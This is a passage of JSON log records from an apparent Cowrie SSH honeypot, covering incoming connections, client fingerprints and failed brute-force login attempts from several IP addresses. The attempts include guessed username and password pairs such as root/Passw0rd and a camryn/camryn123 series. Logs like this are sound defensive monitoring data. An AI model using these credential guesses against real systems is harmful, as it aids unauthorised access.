0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:53.363441Z","src_ip":"47.86.95.62","session":"cab3fe62a3cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":42702,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec93c4f43b06","protocol":"ssh","message":"New connection: 31.57.216.40:42702 (10.17.0.5:22) [session: ec93c4f43b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:58.506099Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:58.511493Z","src_ip":"31.57.216.40","session":"ec93c4f43b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":42706,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffc766deb3d1","protocol":"ssh","message":"New connection: 31.57.216.40:42706 (10.17.0.5:22) [session: ffc766deb3d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:58.676719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:58.681204Z","src_ip":"31.57.216.40","session":"ffc766deb3d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:58.784355Z","src_ip":"31.57.216.40","session":"ffc766deb3d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"router","password":"admin!@#","message":"login attempt [router/admin!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:30:59.132874Z","src_ip":"31.57.216.40","session":"ffc766deb3d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:31:00.242220Z","src_ip":"31.57.216.40","session":"ffc766deb3d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:31:18.606956Z","src_ip":"47.86.95.62","session":"f401bbbf0930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":20080,"dst_ip":"159.203.135.109","dst_port":22,"session":"09610310422a","protocol":"ssh","message":"New connection: 165.154.23.26:20080 (159.203.135.109:22) [session: 09610310422a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:31:25.859405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:31:25.864100Z","src_ip":"165.154.23.26","session":"09610310422a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:31:26.086037Z","src_ip":"165.154.23.26","session":"09610310422a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAbb1234","message":"login attempt [root/AAbb1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:31:26.991497Z","src_ip":"165.154.23.26","session":"09610310422a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:31:28.213464Z","src_ip":"165.154.23.26","session":"09610310422a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":54564,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab584fcc0240","protocol":"ssh","message":"New connection: 209.99.184.143:54564 (159.203.135.109:22) [session: ab584fcc0240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:31:41.075470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:31:41.080522Z","src_ip":"209.99.184.143","session":"ab584fcc0240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:31:41.173176Z","src_ip":"209.99.184.143","session":"ab584fcc0240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd123!","message":"login attempt [root/abcd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:31:41.575750Z","src_ip":"209.99.184.143","session":"ab584fcc0240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:31:42.678278Z","src_ip":"209.99.184.143","session":"ab584fcc0240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":39038,"dst_ip":"10.17.0.5","dst_port":22,"session":"07b44fec3944","protocol":"ssh","message":"New connection: 213.209.159.56:39038 (10.17.0.5:22) [session: 07b44fec3944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:04.050336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:04.055515Z","src_ip":"213.209.159.56","session":"07b44fec3944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:04.138207Z","src_ip":"213.209.159.56","session":"07b44fec3944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camryn","password":"camryn","message":"login attempt [camryn/camryn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:04.541325Z","src_ip":"213.209.159.56","session":"07b44fec3944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camryn","password":"camryn1","message":"login attempt [camryn/camryn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:05.626304Z","src_ip":"213.209.159.56","session":"07b44fec3944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camryn","password":"camryn123","message":"login attempt [camryn/camryn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:06.711810Z","src_ip":"213.209.159.56","session":"07b44fec3944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camryn","password":"camryn1234","message":"login attempt [camryn/camryn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:07.796589Z","src_ip":"213.209.159.56","session":"07b44fec3944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camryn","password":"camryn12345","message":"login attempt [camryn/camryn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:08.881954Z","src_ip":"213.209.159.56","session":"07b44fec3944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:09.967979Z","src_ip":"213.209.159.56","session":"07b44fec3944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:36.757887Z","src_ip":"47.86.95.62","session":"cab3fe62a3cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:46.967422Z","src_ip":"47.86.95.62","session":"cab3fe62a3cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":44836,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e88ea1221d1","protocol":"ssh","message":"New connection: 165.154.23.26:44836 (159.203.135.109:22) [session: 8e88ea1221d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:50.575134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:50.579932Z","src_ip":"165.154.23.26","session":"8e88ea1221d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:50.804641Z","src_ip":"165.154.23.26","session":"8e88ea1221d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Qwe123C","message":"login attempt [root/123Qwe123C] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:51.722851Z","src_ip":"165.154.23.26","session":"8e88ea1221d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:32:52.946079Z","src_ip":"165.154.23.26","session":"8e88ea1221d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37458,"dst_ip":"10.17.0.5","dst_port":22,"session":"9929702ef7a7","protocol":"ssh","message":"New connection: 47.86.95.62:37458 (10.17.0.5:22) [session: 9929702ef7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:25.876289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:28.018896Z","src_ip":"47.86.95.62","session":"9929702ef7a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.241.76.128","src_port":38260,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa45aef19eea","protocol":"ssh","message":"New connection: 191.241.76.128:38260 (10.17.0.5:22) [session: aa45aef19eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:54.391738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:54.396776Z","src_ip":"191.241.76.128","session":"aa45aef19eea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:54.541170Z","src_ip":"191.241.76.128","session":"aa45aef19eea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:dc:4a:86:39:fc:42:64:3e:b3:2c:de:45:fa:85:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQ8lVL4/JUKRC266tc2uK4dQot3MQWizLBblWmjMsZA/KoXPgRzH0WLpmdq77BzHVLmA4Hw4p+pUJYeRE8ggUOF1p8RvMINCWt9TGFnu96pRthFZQ7dvInky7iAw9VvaKhOQrgpmzhvT/7Z1BaofSBfAuE429d4oxJmvbaBKRK3OhLvLXTP++wTu/+ayKq1nIJwmDwveWhA53gCDQidKRkBJtZK44ladm445wo08wsUqBSEeMPj9YybcpEO7gGf+a0wOngJrmFXZiBTVpOb8fIo6Lp3e49CWAyQzROCJQlfnRYh/cvdIdaiDF/ieEpgm6taFSJQAptzdeopO6h2Z2J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:dc:4a:86:39:fc:42:64:3e:b3:2c:de:45:fa:85:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:55.192394Z","src_ip":"191.241.76.128","session":"aa45aef19eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:dc:4a:86:39:fc:42:64:3e:b3:2c:de:45:fa:85:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQ8lVL4/JUKRC266tc2uK4dQot3MQWizLBblWmjMsZA/KoXPgRzH0WLpmdq77BzHVLmA4Hw4p+pUJYeRE8ggUOF1p8RvMINCWt9TGFnu96pRthFZQ7dvInky7iAw9VvaKhOQrgpmzhvT/7Z1BaofSBfAuE429d4oxJmvbaBKRK3OhLvLXTP++wTu/+ayKq1nIJwmDwveWhA53gCDQidKRkBJtZK44ladm445wo08wsUqBSEeMPj9YybcpEO7gGf+a0wOngJrmFXZiBTVpOb8fIo6Lp3e49CWAyQzROCJQlfnRYh/cvdIdaiDF/ieEpgm6taFSJQAptzdeopO6h2Z2J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:55.196374Z","src_ip":"191.241.76.128","session":"aa45aef19eea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:ad:2a:de:70:37:30:1f:00:e9:b0:02:c8:ee:34:0d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM4/Zyky8gsa2cLm8FaX+Wajt7mjikUyPHgXSzO59Kk7","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e3:ad:2a:de:70:37:30:1f:00:e9:b0:02:c8:ee:34:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:55.331826Z","src_ip":"191.241.76.128","session":"aa45aef19eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:ad:2a:de:70:37:30:1f:00:e9:b0:02:c8:ee:34:0d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM4/Zyky8gsa2cLm8FaX+Wajt7mjikUyPHgXSzO59Kk7","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:55.335910Z","src_ip":"191.241.76.128","session":"aa45aef19eea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:bd:34:fb:01:21:49:94:a3:c7:b9:3f:be:9d:b0:b1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBiIjJWePrKI7iXuoOPfVoX2lD/G9pzGmsTmsrcz+Nid","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 45:bd:34:fb:01:21:49:94:a3:c7:b9:3f:be:9d:b0:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:55.471664Z","src_ip":"191.241.76.128","session":"aa45aef19eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:bd:34:fb:01:21:49:94:a3:c7:b9:3f:be:9d:b0:b1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBiIjJWePrKI7iXuoOPfVoX2lD/G9pzGmsTmsrcz+Nid","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:55.475533Z","src_ip":"191.241.76.128","session":"aa45aef19eea","protocol":"ssh"}
